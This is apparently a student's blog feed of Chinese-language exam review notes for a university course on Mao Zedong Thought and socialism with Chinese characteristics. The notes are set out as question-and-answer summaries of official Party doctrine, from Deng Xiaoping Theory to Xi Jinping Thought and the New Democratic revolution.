Every failure is leading towards success. http://WaIdo.github.io/ Mon, 01 Jul 2019 08:52:57 +0000 Mon, 01 Jul 2019 08:52:57 +0000 Jekyll v3.8.5 <h1 id="邓小平理论三个代表重要思想科学发展观习近平新时代中国特色社会主义思想分别回答了什么问题主题以及各自的历史地位">邓小平理论、“三个代表”重要思想、科学发展观、习近平新时代中国特色社会主义思想分别回答了什么问题（主题）以及各自的历史地位</h1> <p>（1）回答的问题</p> <p>邓小平理论：</p> <p>什么是社会主义、怎样建设社会主义，是邓小平在领导改革开放和现代化建设的过程中，不断提出和反复思考的首要的基本的理论问题。</p> <p>“三个代表”重要思想：</p> <p>在实行改革开放和发展社会主义市场经济的条件下，建设一个什么样的党、怎样建设党。</p> <p>科学发展观：</p> <p>科学发展观是马克思主义同当代中国实际和时代特征相结合的产物，是马克思主义关于发展的世界观和方法论的集中体现，对新形势下实现什么样的发展、怎样发展等重大问题作出了新的科学回答。</p> <p>习近平新时代中国特色社会主义思想：</p> <p>明确了新时代坚持和发展什么样的中国特色社会主义，也回答了新时代怎样坚持和发展中国特色社会主义，党的十九大概括为“十四个坚持”，即新时代中国特色社会主义基本方略</p> <p>（2）各自的历史地位</p> <p>邓小平理论：是马列主义、马泽东思想的继承和发展； 是中国特色社会主义理论体系的开篇之作； 是改革开放和社会主义现代化建设的科学指南</p> <p>“三个代表”重要思想：是中国特色社会主义理论体系的接续发展；是加强和改进党的建设，推进中国特色社会主义事业的强大理论武器。</p> <p>科学发展观：是中国特色社会主义理论体系的接续发展； 是发展中国特色社会主义必须长期坚持的指导思想。</p> <p>习近平新时代中国特色社会主义思想： 是马克思主义中国化最新成果； 是新时代的精神旗帜； 是实现中华民族伟大复兴的行动指南</p> <h1 id="社会主义的本质">社会主义的本质</h1> <p>社会主义的本质是解放生产力，发展生产力，消灭剥削，消除两极分化，最终达到共同富裕。</p> <h1 id="社会主义的根本任务">社会主义的根本任务</h1> <p>发展生产力</p> <h1 id="党的基本路线在社会主义初级阶段">党的基本路线（在社会主义初级阶段）</h1> <p>第一，建设“富强、民主、文明的社会主义现代化国家”，这是基本路线规定的党在社会主义初级阶段的奋斗目标，体现了社会主义社会全面发展的要求。</p> <p>第二，“一个中心、两个基本点”，以经济建设为中心，坚持四项基本原则，坚持改革开放，是正确认识和处理经济基础和上层建筑之间、生产力与生产关系之间辩证统一关系的内在要求</p> <p>第三，“领导和团结全国各族人民”，这是实现社会主义现代化奋斗目标的领导力量和依靠力量。</p> <p>第四，“自力更生，艰苦创业”，这是我们党的优良传统，也是实现社会主义初级阶段奋斗目标的根本立足点。</p> <h1 id="社会主义初级阶段理论">社会主义初级阶段理论</h1> <p>我国处在社会主义初级阶段，是邓小平和我们党对当代中国基本国情的科学判断，最大“实际”就是中国的基本国情</p> <p>社会主义初级阶段，就是指我国在生产力落后、商品经济不发达条件下建设社会主义必然要经历的特定阶段。</p> <p>社会主义初级阶段的论断包括两层含义：第一，我国已经进入社会主义社会，必须坚持而不能离开社会主义。第二，我国的社会主义社会还处在不发达的阶段，必须正视而不能超越初级阶段</p> <h1 id="三个代表重要思想的核心观点">“三个代表”重要思想的核心观点</h1> <p>中国共产党必须始终代表中国先进生产力的发展要求，</p> <p>代表中国先进文化的前进方向，</p> <p>代表中国最广大人民的利益</p> <h1 id="科学发展观的科学内涵">科学发展观的科学内涵</h1> <p>科学发展观，第一要义是发展，核心立场是以人为本，基本要求是全面协调可持续，根本方法是统筹兼顾</p> <h1 id="以人为本的内容">以人为本的内容</h1> <p>以人为本的“人”是指人民群众，就是以工人、农民、知识分子等劳动者为主体，包括社会各阶层人民在内的中国最广大人民；“本”就是根本，就是出发点和落脚点。坚持以人为本就是要坚持发展依靠人民，从人民群众的伟大创造中汲取智慧和力量</p> <h1 id="新时代的内涵和意义">新时代的内涵和意义</h1> <p><strong>新时代内涵：</strong></p> <p>第一，这个新时代是承前启后、继往开来，在新的历史条件下继续夺取中国特色社会主义伟大胜利的时代</p> <p>第二，这个新时代是决胜全面建成小康社会、进而全面建设社会主义现代化强国的时代。</p> <p>第三，这个新时代是全国各族人民团结奋斗、不断创造美好生活、逐步实现全体人民共同富裕的时代</p> <p>第四，这个新时代是全体中华儿女勠力同心、奋力实现中华民族伟大复兴中国梦的时代</p> <p>第五，这个时代是我国日益走近世界舞台中央、不断为人类作出更大贡献的时代</p> <p><strong>新时代意义：</strong></p> <p>1、从中华民族复兴的历史进程看，中国特色社会主义进入新时代，意味着近代以来久经磨难的中华民族迎来了从站起来、富起来到强起来的伟大飞跃，迎来了实现中华民族伟大复兴的光明前景。</p> <p>2、从科学社会主义发展进程看，中国特色社会主义进入新时代，意味着科学社会主义在21世纪的中国焕发出强大生机活力，在世界上举起了中国特色社会主义伟大旗帜。</p> <p>3、从人类文明进程看，中国特色社会主义进入新时代，意味着中国特色社会主义道路、理论、制度、文化不断发展，拓展了发展中国家走向现代化的途径，给世界上那些既希望加快发展又希望保持自身独立性的国家和民族提供了全新选择，为解决人类问题贡献了中国智慧和中国方案。</p> <h1 id="习近平新时代中国特色社会主义思想的核心要义与主要内容">习近平新时代中国特色社会主义思想的核心要义与主要内容</h1> <p>坚持和发展中国特色社会主义，是改革开放以来我们党全部理论和时间的鲜明主题，也是习近平新时代中国特色社会主义思想的核心要义</p> <h1 id="中国特色社会主义的基本方略">中国特色社会主义的基本方略</h1> <p>“十四个坚持”：</p> <p>1、坚持党对一切工作的领导</p> <p>2、坚持以人民为中心</p> <p>3、坚持全面深化改革</p> <p>4、坚持发展新理念</p> <p>5、坚持人民当家作主</p> <p>6、坚持全面依法治国</p> <p>7、坚持社会主义核心价值体系</p> <p>8、坚持在发展中保障和改善民生</p> <p>9、坚持人与自然和谐共生</p> <p>10、坚持总体国家安全观</p> <p>11、坚持党对人民军队的绝对领导</p> <p>12、坚持“一国两制”和推进祖国统一</p> <p>13、坚持推动构建人类命运共同体</p> <p>14、坚持全面从严治党</p> <h1 id="习近平新时代中国特色社会主义的主要思想">习近平新时代中国特色社会主义的主要思想</h1> <p>最核心的内容就是党的十九大报告概括的“八个明确”</p> <p>1、明确坚持和发展中国特色社会主义，总任务是实现社会主义现代化和中华民族伟大复兴，在全面建成小康社会的基础上，分两步走在本世纪中叶建成富强民主文明和谐美丽的社会主义现代化强国</p> <p>2、明确新时代我国社会主要矛盾是人民日益增长的美好生活需要和不平衡不充分的发展之间的矛盾，必须坚持以人民为中心的发展思想，不断促进人的全面发展、全体人民共同富裕</p> <p>3、明确中国特色社会主义事业的总体布局是“五位一体”、战略布局是“四个全面”，前调坚定道路自信、理论自信、制度自信、文化自信</p> <p>4、明确全面深化改革总目标是完善和发展中国特色社会主义制度、推进国家治理体系和治理能力现代化</p> <p>5、明确全面推进依法治国总目标是建设中国特色社会主义法治体系、建设社会主义法治国家</p> <p>6、明确党在新时代的强军目标是建设一支听党指挥、能打胜仗、作风优良的人民军队，把人民军队建设成为世界一流军队</p> <p>7、明确中国特色大国外交要推动构建新型国际关系，推动构建人类命运共同体</p> <p>8、明确中国特色社会主义最本质的特征是中国共产党领导，中国特色社会主义制度的最大优势是中国共产党领导，党是最高政治领导力量，提出新时代党的建设总要求，突出政治建设在党的建设中的重要地位</p> <h1 id="如何理解新时代我国社会主要矛盾的变化">如何理解新时代我国社会主要矛盾的变化</h1> <p>十九大指出，我国社会主要矛盾已经转化为人民日益增长的美好生活需要和不平衡不充分的发展之间的矛盾</p> <p>第一，经过改革开放40年的发展，我国社会生产力水平总体上显著提高，很多方面进入世界前列</p> <p>第二，人民生活水平显著提高，对美好生活的向往更加强烈</p> <p>第三，影响没人们美好生活需要的因素很多，但主要是发展的不平衡不充分问题</p> <p>这些发展不平衡不充分问题相互制约，带来很多社会矛盾和问题，是当前和今后制约我国发展和满足人民日益增长的美好生活需要的主要根源。我国社会主要矛盾的变化是关系全局的历史性变化，对党和国家工作提出了许多新要求。我国社会主要矛盾的变化，没有改变我们对我国社会主义所处历史阶段的判断，我国仍处于并将长期处于社会主义初级阶段的基本国情没有变，我国是世界最大发展中国家的国际地位没有变。</p> <h1 id="中国梦的本质科学内涵">中国梦的本质/科学内涵</h1> <p>中国梦视野宽广、内涵丰富、意蕴深远。习近平指出：“中国梦的本质是国家富强、民族振兴、人民幸福”</p> <h1 id="中国梦的实现路程">中国梦的实现路程</h1> <p>实现中国梦必须走中国道路，这就是中国特色社会主义道路</p> <p>实现中国梦必须弘扬中国精神，这就是以爱国主义为核心的民族精神和以改革创新为核心的时代精神</p> <p>实现中国梦必须凝聚中国力量，这就是全国各族人民大团结的力量</p> <h1 id="实现社会主义现代化强国两步走战略">实现社会主义现代化强国“两步走”战略</h1> <p>从2020年到2035年。全面建成小康社会的基础上，再奋斗15年，基本实现社会主义现代化。</p> <p>从2035年到本世纪中叶，在基本实现现代化的基础上，再奋斗15年，把我国建成富强民主文明和谐美丽的社会主义现代化强国。</p> <h1 id="五位一体总体布局选择题">“五位一体”总体布局（选择题）</h1> <p>经济建设、政治建设、文化建设、社会建设、生态文明建设</p> <p>18.新发展理念的科学内涵</p> <p>创新是引领发展的第一动力</p> <p>协调是持续健康发展的内在要求</p> <p>绿色是永续发展的必要条件</p> <p>开放是国家繁荣发展的必由之路</p> <p>共享是中国特色社会主义的本质要求</p> <p>创新、协调、绿色、开放、共享的新发展理念，相互贯通、相互促进，是具有内在联系的集合体</p> <h1 id="三去一降一补去产能去库存去杠杆降成本补短板">“三去一降一补”（去产能、去库存、去杠杆、降成本、补短板）</h1> <p>坚持去产能、去库存、去杠杆、降成本、补短板</p> <h1 id="建设现代化经济体系要突出抓好哪些方面的工作怎样建设p213-214">建设现代化经济体系要突出抓好哪些方面的工作（怎样建设）p213-214</h1> <p>1、大力发展实体经济</p> <p>2、加快实施创新驱动发展战</p> <p>3、激发各类市场主动活力</p> <p>4、积极推动城乡区域协调发展</p> <p>5、着力发展开放型经济</p> <p>6、加快完善社会主义市场经济体制</p> <h1 id="中国特色社会主义民族政治的重要内容p216-217">中国特色社会主义民族、政治的重要内容p216-217</h1> <p>1、健全完善人民代表大会是我国的根本政治制度</p> <p>2、发挥社会主义协商民主的重要作用</p> <p>3、坚持和领导中国共产党领导的多党合作和政治协商制度是我国的一项基本政治制度</p> <p>4、民族区域自治制度是我国的一项基本政治制度</p> <p>5、基层群众自治制度是我国的一项基本政治制度</p> <h1 id="中国特色社会主义政治发展道路">中国特色社会主义政治发展道路</h1> <p>走中国特设社会主义政治发展道路，必须坚持党的领导、人民当家作主、依法治国有机统一</p> <p>走中国特设社会主义政治发展道路，必须坚持正确政治方向。</p> <h1 id="实现国家统一的最佳方式p219-222">实现国家统一的最佳方式p219-222</h1> <p>1、全面贯彻“一国两制”方针</p> <p>必须始终准确把握“一国”和 “两制”的关系。必须始终依照宪法和基本法办事。必须始终聚焦发展这个第一要务。必须始终维护和谐稳定的社会环境。</p> <p>2、扎实推进祖国和平统一进程</p> <p>解决台湾问题、实现祖国完全统一，是全体中华儿女共同愿望，是中华民族根本利益所在，是新时达中国共产党、中国政府的三大历史任务之一。</p> <p>坚持“和平统一、一国两制”防止。“和平统一、一国两制”是我们解决台湾问题的基本方针，也是实现国家统一的最佳方式。</p> <p>推动两岸关系和谐发展。坚持一个中国原则和“九二共识”。坚持反对和遏制任何形式的“台独”。秉承和践行“两岸一家亲”理念。携手同心共圆民族复兴中国梦。</p> <h1 id="社会主义核心价值观的主要内容">社会主义核心价值观的主要内容</h1> <p>富强、民主、文明、和谐，自由、平等、公正、法治，爱国、敬业、成信、友善</p> <h1 id="总体国家安全观的含义p235">总体国家安全观的含义p235</h1> <p>总体国家安全观是指坚持国家利益至上，以人民安全为宗旨，以政治安全为根本，以经济安全为基础，以军事、文化、社会安全为保障，以促进国际安全为依托，维护各领域国家安全，构建国家安全体系，走中国特色国家安全道路。</p> <h1 id="生态文明的核心">生态文明的核心</h1> <p>生态文明建设的核心是坚持人与自然和谐共生。</p> <p>尊重自然，是人与自然相处时应秉持的首要态度</p> <p>顺应自然，是人与自然相处时应遵循的基本原则</p> <p>保护自然，是人与自然相处时应承担的重要责任</p> <h1 id="四个全面战略布局">“四个全面”战略布局</h1> <p>全面建成小康社会；全面深化改革；全面依法治国；全面从严治党</p> <h1 id="全面建成小康社会的内涵">全面建成小康社会的内涵</h1> <p>全面小康，覆盖的人口要全面，是惠及全体人民的小康</p> <p>全面小康，覆盖的区域要全面，是城乡区域共同发展的小康</p> <p>没有农村的全面小康和欠发达地区的全面小康，就没有全国的全面小康</p> <h1 id="全面深化改革的总目标">全面深化改革的总目标</h1> <p>完善和发展中国特色社会主义制度，推进国家治理体系和治理能力现代化, 这两句话是一个整体，前一句规定了根本方向，后一步规定了实现路径。</p> <h1 id="全面深化改革过程中应该把握和处理好哪些重大关系五大方面p253-255">全面深化改革过程中应该把握和处理好哪些重大关系（五大方面）p253-255</h1> <p>1.处理好解放思想和实事求是的关系</p> <p>2.处理好顶层设计和摸着石头过河的关系</p> <p>3.处理好整体推进和重点突破的关系</p> <p>4.处理好胆子要大、步子要稳的关系</p> <p>5.处理好改革、发展、稳定的关系</p> <h1 id="中国特色社会主义的本质要求和重要保障">中国特色社会主义的本质要求和重要保障</h1> <p>全面依法治国</p> <h1 id="全面依法治国的总目标">全面依法治国的总目标</h1> <p>总目标：建设中国特色社会主义法制体系，建设社会主义法治国家</p> <p>1、推进中国特色社会主义法治体系建设。首先要完善以宪法为核心的中国特色社会主义法律体系。其次要建立严密的法治监督体系。再次是要进一步健全法治保障体系。</p> <p>2、深化依法治国实践。加强宪法实施和监督，推进合宪法性审查工作，维护宪法权威。</p> <h1 id="新时代党的建设的总要求">新时代党的建设的总要求</h1> <p>总要求：坚持和加强党的全面领导，坚持党要管党、全面从严治党，以加强党的长期执行能力建设、先进性和纯洁性建设为主线，以党的政治建设为统领，以坚定理想信念宗旨为根基，以调动全党积极性、主动性、创造性为着力点，全面推进党的政治建设、思想建设、组织建设、作风建设、纪律建设，把党建设成为始终走在时代前列、人民衷心拥护、勇于自我改革、经得起各种风浪考验、朝气蓬勃的马克思主义执政党。</p> <p>“坚持党要管党、全面从严治党”是新时代党的建设的根本方针。</p> <p>“把党建设成为始终走在时代前列、人民衷心拥护、勇于自我改革、经得起各种风浪考验、朝气蓬勃的马克思主义执政党。”是新时代党的建设的目标</p> <h1 id="人民军队战无不胜的根本保证">人民军队战无不胜的根本保证</h1> <p>党的领导是人民军队战无不胜的根本保证</p> <h1 id="建设一带一路的基本原则">建设“一带一路”的基本原则</h1> <p>共建“一带一路”恪守联合国宪章的宗旨和原则，坚持开放合作、和谐包容、市场运作、互利共赢。</p> <p>秉持和平合作、开放包容、互学互鉴、互利共赢理念。</p> <p>全方位推进务实合作，打造政治互信、经济融合、文化包容的利益共同体、命运共同体和责任共同体</p> <p>以政策沟通、设施联通、贸易畅通、资金融通、民心相通为主要内容加强合作</p> <h1 id="新型国际关系的核心">新型国际关系的核心</h1> <p>我国倡导的新型国际关系是相互尊重、公平正义、合作共赢的国际关系。其核心是维护联合国宪章的宗旨和原则，维护不干涉别国内政和尊重国家主权、独立、领土完整等国际关系的基本准则。</p> <h1 id="构建人类命运共同体思想的科学内涵">构建人类命运共同体思想的科学内涵</h1> <p>构建人类命运共同体思想是一个科学完整、内涵丰富、意义深远的思想体系，其核心是“建设持久和平、普遍安全、共同繁荣、开放包容、清洁美丽的世界”</p> <p>其内涵有以下五个方面：</p> <p>1、政治上相互尊重、平等协商。</p> <p>2、安全上以对话解决争端、以协商化解分歧。</p> <p>3、经济上坚持同舟共济，推动经济全球化发展。</p> <p>4、文化上尊重世界文明的多样性。</p> <p>5、生态上要合作应对气候变化，保护好人类赖以生存的共同家园。</p> <h1 id="中国特色社会主义最本质的特征和制度的最大优势">中国特色社会主义最本质的特征和制度的最大优势</h1> <p>（1）中国共产党的领导是中国特色社会主义最本质的特征</p> <p>①这是由科学社会主义的理论逻辑所决定的</p> <p>②这是由中国特色社会主义产生于发展的历史逻辑所决定的</p> <p>③这是由中国特色社会主义迈向新征程的实践逻辑所决定的</p> <p>（2）中国共产党的领导是中国特色社会主义最大优势</p> <p>①中国特色社会主义制度是党领导人民创建的</p> <p>②党的领导是充分发挥中国特色社会主义制度优势的根本保障</p> <p>③党的自身优势是中国特色社会主义制度优势的主要来源</p> <h1 id="新时代中国共产党的历史使命p301">新时代中国共产党的历史使命p301</h1> <p>新时代中国共产党的历史使命，就是统揽伟大斗争、伟大工程、伟大事业、伟大梦想，在全面建成小康社会的基础上全面建成社会主义现代化强国，实现中华民族伟大复兴的中国梦。</p> <h1 id="如何实现伟大梦想">如何实现伟大梦想</h1> <p>实现伟大梦想，必须进行具有许多新的历史特点的伟大斗争</p> <p>实现伟大梦想，必须深入推进党的建设新的伟大工程</p> <p>实现伟大梦想，必须推进中国特色社会主义伟大事业</p> Sun, 30 Jun 2019 00:00:00 +0000 http://WaIdo.github.io/2019/06/30/%E6%AF%9B%E6%B3%BD%E4%B8%9C%E6%80%9D%E6%83%B3%E5%92%8C%E4%B8%AD%E5%9B%BD%E7%89%B9%E8%89%B2%E7%A4%BE%E4%BC%9A%E4%B8%BB%E4%B9%89%E7%90%86%E8%AE%BA%E4%BD%93%E7%B3%BB%E6%A6%82%E8%AE%BA%E6%9C%9F%E6%9C%AB%E5%A4%8D%E4%B9%A0(%E7%AC%AC%E4%BA%94%E7%AB%A0%E4%BB%A5%E5%90%8E)/ http://WaIdo.github.io/2019/06/30/%E6%AF%9B%E6%B3%BD%E4%B8%9C%E6%80%9D%E6%83%B3%E5%92%8C%E4%B8%AD%E5%9B%BD%E7%89%B9%E8%89%B2%E7%A4%BE%E4%BC%9A%E4%B8%BB%E4%B9%89%E7%90%86%E8%AE%BA%E4%BD%93%E7%B3%BB%E6%A6%82%E8%AE%BA%E6%9C%9F%E6%9C%AB%E5%A4%8D%E4%B9%A0(%E7%AC%AC%E4%BA%94%E7%AB%A0%E4%BB%A5%E5%90%8E)/ <h1 id="第一章-毛泽东思想及其历史地位">第一章 毛泽东思想及其历史地位</h1> <h2 id="什么是马克思主义中国化-在中国革命建设和改革的历史进程中实现了怎样的历史性飞跃">什么是马克思主义中国化? 在中国革命、建设和改革的历史进程中实现了怎样的历史性飞跃?</h2> <p>马克思主义中国化是马克思主义基本原理同中国具体实际和时代特征结合起来，运用马克思主义的立场、观点和方法研究和解决中国革命、建设、改革中的实际问题；就是总结和提炼中国革命、建设、改革中的实际问题，从而认识和掌握客观规律，为马克思主义理论宝库增添新的内容；就是运用中国人民喜闻乐见的民族语言来阐述马克思主义理论，使之成为具有中国特色、中国风格、中国气派的马克思主义。</p> <p>第一次历史性飞跃发生在新民主主义革命时期，形成了毛泽东思想</p> <p>第二次历史性飞跃发生在社会主义进入改革开放的新时期，形成了包括邓小平理论、“三个代表”重要思想、科学发展观、习近平新时代中国特色社会主义思想在内的中国特色社会主义理论体系。</p> <h2 id="毛泽东思想在哪些方面以独创性的理论丰富和发展了马克思列宁主义毛泽东思想的主要内容是什么">毛泽东思想在哪些方面以独创性的理论丰富和发展了马克思列宁主义(毛泽东思想的主要内容是什么?)</h2> <ol> <li>新民主主义革命理论</li> <li>社会主义革命和社会主义建设理论</li> <li>革命军队建设和军事战略的理论</li> <li>政策和策略的理论</li> <li>思想政治工作和文化工作的理论</li> <li>党的建设理论</li> <li>国际战略和外交工作的理论</li> </ol> <h2 id="毛泽东思想活的灵魂是什么">毛泽东思想活的灵魂是什么?</h2> <ul> <li>实事求是</li> <li>群众路线</li> <li>独立自主</li> </ul> <p>实事求是，就是一切从实际出发，理论联系实际，坚持在实践中检验真理和发展真理</p> <p>群众路线，就是一切为了群众，一切依靠群众，从群众中来，到群众中去，把党的正确主张变为群众的自觉行动</p> <p>独立自主，就是坚持独立思考，走自己的路，就是坚定不移地维护民族独立、捍卫国家主权，把立足点放在依靠自己力量的基础上，同时积极争取外援，开展国际经济文化交流，学习外国一切对我们有益的先进事物</p> <h2 id="什么是毛泽东思想">什么是毛泽东思想?</h2> <p>毛泽东思想是马克思主义中国化第一次历史性飞跃的理论成果，毛泽东思想在新民主主义革命、社会主义革命和社会主义建设、革命军队建设和军事战略、政策和策略、思想政治工作和文化工作、党的建设、国际战略和外交工作等方面，以独创性的理论丰富和发展了马克思列宁主义。实事求是、群众路线、独立自主是毛泽东把辩证唯物主义和历史唯物主义运用到中国革命和建设实践中所形成的具有中国共产党人鲜明特色的立场、观点、方法，是我们党进行革命、建设和改革的出发点、根本点和立足点。</p> <p>在马克思主义中国化的历史进程中，毛泽东思想为中国特色社会主义理论体系的形成奠定了理论基础。尤其是毛泽东思想关于社会主义建设的理论，为开创和发展中国特色社会主义作了重要的理论准备。</p> <p>此外，毛泽东思想运用中国人民喜闻乐见的民族语言来解释深刻道理。它所体现的独特理论风格给新时期党的理论创新、进一步推进马克思主义大众化以重要的启迪。</p> <p>毛泽东思想所确立的马克思主义中国化的奋斗方向、基本原则和基本方法，指导着我们党不断推进马克思主义中国化，不断开辟马克思主义中国化新境界</p> <h2 id="如何科学评价毛泽东">如何科学评价毛泽东</h2> <p>毛泽东是伟大的马克思主义者、伟大的无产阶级革命家、战略家和理论家。他为中国共产党和中国人民解放军的创立和发展，为中国各族人民解放事业的胜利，为中华人民共和国的缔造和社会主义事业的发展，建立了不可磨灭的功勋，为世界被压迫民族的解放和人类进步事业作出了重大贡献。</p> <p>毛泽东的功绩是第一位的，错误是第二位的。他的错误是一个伟大的革命家、一个伟大的马克思主义者所犯的错误。将毛泽东晚年的错误同经过长期历史检验形成为科学理论的毛泽东思想区别开来，为完整准确地理解毛泽东思想、坚持和发展毛泽东思想指明了方向。</p> <h2 id="如何认识毛泽东思想的历史地位和指导作用">如何认识毛泽东思想的历史地位和指导作用？</h2> <p>第一，毛泽东思想是马克思主义中国化第一次历史性飞跃的理论成果，是中国共产党的指导思想。</p> <p>第二，毛泽东思想是夺取中国革命胜利的理论武器，是社会主义中国立国建国的思想政治基础，是中国特色社会主义理论的思想渊源和理论先导，是中华民族团结振兴的精神支柱。</p> <p>第三，毛泽东思想是马克思主义发展史上承上启下、继往开来的重要阶段，已经并将继续对中国共产党和中华民族发挥巨大而长远的指导作用。</p> <h2 id="毛泽东思想的发展历程">毛泽东思想的发展历程</h2> <h3 id="形成">形成</h3> <p>==第一次国内革命战争时期==，以马列主义为主导，在《==中国社会各阶级的分析==》《==湖南农民运动考察报告==》中，分析了中国社会各阶级在革命中的地位和作用，提出了新民主主义革命的基本思想</p> <p>==土地革命战争时期==，将马列主义和中国实际相结合，毛泽东在《==中国红色政权为什么能够存在?==》《==井冈山的斗争==》《==星星之火，可以燎原==》《==反对本本主义==》中，提出了==农村包围城市、武装夺取政权==的思想，++==<strong><em>标志着毛泽东思想的形</em></strong>成==++</p> <h3 id="成熟">成熟</h3> <p>==遵义会议后==，在《==实践论==》《==矛盾论==》中，运用马克思主义的认识论和辩证法，系统分析了党内“左”和右的错误。在《==<共产党人>发刊词==》《==中国革命和中国共产党==》《==新民主主义论==》《==论联合政府==》中，提出了新民主主义革命的总路线，提出了新民主主义革命的具体目标</共产党人></p> <p>==1945年==，==中共七大==将毛泽东思想写入党章</p> <h3 id="继续发展">继续发展</h3> <p>==解放战争时期和新中国成立以后==，提出==人民民主专政理论、社会主义改造理论、关于严格区分和正确处理两类矛盾==的学说，特别是==关于正确处理人民内部矛盾==的理论</p> <p>关于社会主义革命和社会主义建设的重要思想，集中体现于毛泽东《==在中国共产党第七届中央委员会第二次全体会议上的报告==》《==论人民民主专政==》《==论十大关系==》《==关于正确处理人民内部矛盾的问题==》</p> <h2 id="第一章零碎知识点">第一章零碎知识点</h2> <ol> <li>1848年，《共产党宣言》发表，标志着马克思主义的诞生</li> <li>1956年，三大改造完成后，标志着社会主义制度的建立</li> <li>三座大山: 帝国主义、封建主义、官僚资本主义</li> <li>三大法宝: 统一战线、武装斗争、党的建设</li> <li>1981年，党的十一届六中全会《历史决议》，指出来毛泽东思想活的灵魂</li> </ol> <h1 id="第二章-新民主主义革命理论">第二章 新民主主义革命理论</h1> <h2 id="为什么说新民主主义革命属于世界无产阶级革命的一部分">为什么说新民主主义革命属于世界无产阶级革命的一部分?</h2> <p><img src="https://ws4.sinaimg.cn/large/006tNc79gy1fyy9esd8xmj30vw0ns4ae.jpg" alt="" /></p> <h2 id="什么是新民主主义革命的总路线">什么是新民主主义革命的总路线?</h2> <p>无产阶级领导的，人民大众的，反对帝国主义、封建主义和官僚资本主义的革命</p> <h2 id="为什么说农民问题是中国革命的基本问题">为什么说农民问题是中国革命的基本问题?</h2> <p><img src="https://ws3.sinaimg.cn/large/006tNc79gy1fyy9lp6zw8j30mc0c8dn1.jpg" alt="" /></p> <h2 id="无产阶级及其政党应该如何实现对新民主主义革命的领导权">无产阶级及其政党应该如何实现对新民主主义革命的领导权?</h2> <p><img src="https://ws1.sinaimg.cn/large/006tNc79ly1fz1qp21hu5j30sg0btabm.jpg" alt="" /></p> <h2 id="怎样理解新民主主义革命的性质是新式的资产阶级民主主义革命">怎样理解新民主主义革命的性质是新式的资产阶级民主主义革命?</h2> <p><img src="https://ws3.sinaimg.cn/large/006tNc79ly1fz1qqwbmmdj30pg0f1mzg.jpg" alt="" /></p> <h2 id="怎样区别新民主主义革命和旧民主主义革命">怎样区别新民主主义革命和旧民主主义革命?</h2> <p>区别新旧民主主义革命的根本标志是，<strong>革命的领导权</strong>是掌握在无产阶级手中还是掌握在资产阶级手中</p> <p><img src="https://ws1.sinaimg.cn/large/006tNc79gy1fyy9vy2g30j31eg0esdqj.jpg" alt="" /></p> <h2 id="新民主主义革命与社会主义革命的区别和联系是什么">新民主主义革命与社会主义革命的区别和联系是什么?</h2> <p>性质不同。新民主主义革命属于资产阶级民主主义革命的范畴。在政治上争取和联合民族资产阶级去反对共同的敌人，在经济上保护民族工商业。它要建立的是无产阶级领导的各革命积极的联合专政。社会主义革命是无产阶级性质的革命，它所要实现的目标是消灭资本主义剥削制度和改造小生产的私有制。</p> <p>联系。民主主义革命是社会主义革命的必要准备，社会主义革命是民主主义革命的必然趋势。</p> <h2 id="新民主主义基本纲领的内容是什么">新民主主义基本纲领的内容是什么?</h2> <p>==政治纲领==: 推翻帝国主义和封建主义的统治，建立一个无产阶级领导的、以工农联盟为基础的、各革命阶级联合专政的新民主主义的共和国。</p> <p>国体: 无产阶级领导的以工农联盟为基础，包括小资产阶级、民族资产阶级和其他反帝反封建的人们在内的各革命阶级的联合专政</p> <p>政体: 实行民主集中制的人民代表大会制度</p> <p>==经济纲领==: 没收封建地主阶级的土地归农民所有，没收官僚资产阶级的垄断资本归新民主主义的国家所有，保护民族工商业。</p> <p>==文化纲领==: 无产阶级领导的人民大众的反帝反封建的文化，即民族的科学的大众的文化。</p> <h2 id="新民主主义革命为什么要保护民族工商业">新民主主义革命为什么要保护民族工商业?</h2> <p>在新民主主义条件下保护民族工商业，发展资本主义，是由中国落后的生产力和新民主主义革命的性质所决定的。同官僚资产阶级相比，民族资产阶级与帝国主义和封建主义联系较少。民族资本主义经济，是一种与新生产力相联系的先进的生产方式和经济成分，它对发展现代技术、发展社会生产力具有积极作用。在新民主主义的国家制度下，让私人资本主义经济在不能操纵国计民生的范围内获得发展的便利，有益于社会向前发展。</p> <h2 id="新民主主义革命走的一条什么道路为什么必须走这条道路">新民主主义革命走的一条什么道路?为什么必须走这条道路?</h2> <p>==农村包围城市，武装夺取政权==</p> <p>中国革命必须走农村包围城市、武装夺取政权的道路，是由中国所处的时代特点和具体国情决定的。一方面，在半殖民地半封建的中国社会，内无民主制度而受封建主义的压迫，外无民族独立而受帝国主义的压迫。中国革命的主要斗争形式只能是武装斗争，以革命的武装消灭反革命的武装。另一方面，近代中国是一个农业大国，农民占全国人口的绝大多数，是无产阶级可靠的同盟军和革命的主力军，必须充分地发动农民，凝聚农民阶级的革命力量。这就要求无产阶级及其政党必须深入农村，从解决农民的土地问题入手，组织、发动和武装农民，使革命战争获得广大农民的支持和参加，为最后夺取全国政权奠定基础。</p> <p>中国革命之所以能走农村包围城市、武装夺取政权的道路，原因有:</p> <p>第一，近代中国是多个帝国主义间接统治的经济落后的半殖民地国家，社会政治经济发展极端不平衡，四分五裂，军阀割据，存在不少的统治薄弱环节，为党在农村开展革命斗争、建设革命根据地提供了缝隙和可能；</p> <p>第二，近代中国的农民深受统治阶级的压迫和剥削，革命愿望强烈。加之大革命的影响为农村根据地的建立奠定了好的群众基础；</p> <p>第三，革命形势的继续向前发展，是农村根据地能够存在和发展的重要客观条件。</p> <p>第四，相当力量正式红军的存在为农村根据地的创立、巩固和发展提供了坚强的后盾。</p> <p>第五，党的领导及其正确的政策，是农村根据地能够存在和发展的重要主观条件。</p> <h2 id="新民主主义道路的内容是什么">新民主主义道路的内容是什么?</h2> <p>==土地革命、武装斗争、农村革命根据地==</p> <p>==土地革命==是民主革命的基本内容</p> <p>==武装斗争==是中国革命的主要形式，是农村根据地建设和土地革命的强有力保证</p> <p>==农村革命根据地==是中国革命的战略阵地，是进行武装斗争和开展土地革命的依托。</p> <h2 id="新民主主义革命的三大法宝及其关系是什么">新民主主义革命的三大法宝及其关系是什么?</h2> <p>统一战线、武装斗争、党的建设(《==共产党人发刊词==》)</p> <p>==关系==：统一战线和武装斗争是中国革命的两个基本特点，是战胜敌人的两个基本武器。统一战线是实行武装斗争的统一战线，武装斗争是统一战线的中心支柱，党的组织则是掌握统一战线和武装斗争这两个武器以实行对敌冲锋陷阵的英勇战士。</p> <p>统一战线的实践经验:</p> <ol> <li>要建立巩固的工农联盟</li> <li>要正确对待资产阶级，尤其是民族资产阶级</li> <li>要采取区别对待的方针</li> <li>要坚持独立自主的原则</li> </ol> <p>武装斗争的实践经验:</p> <ol> 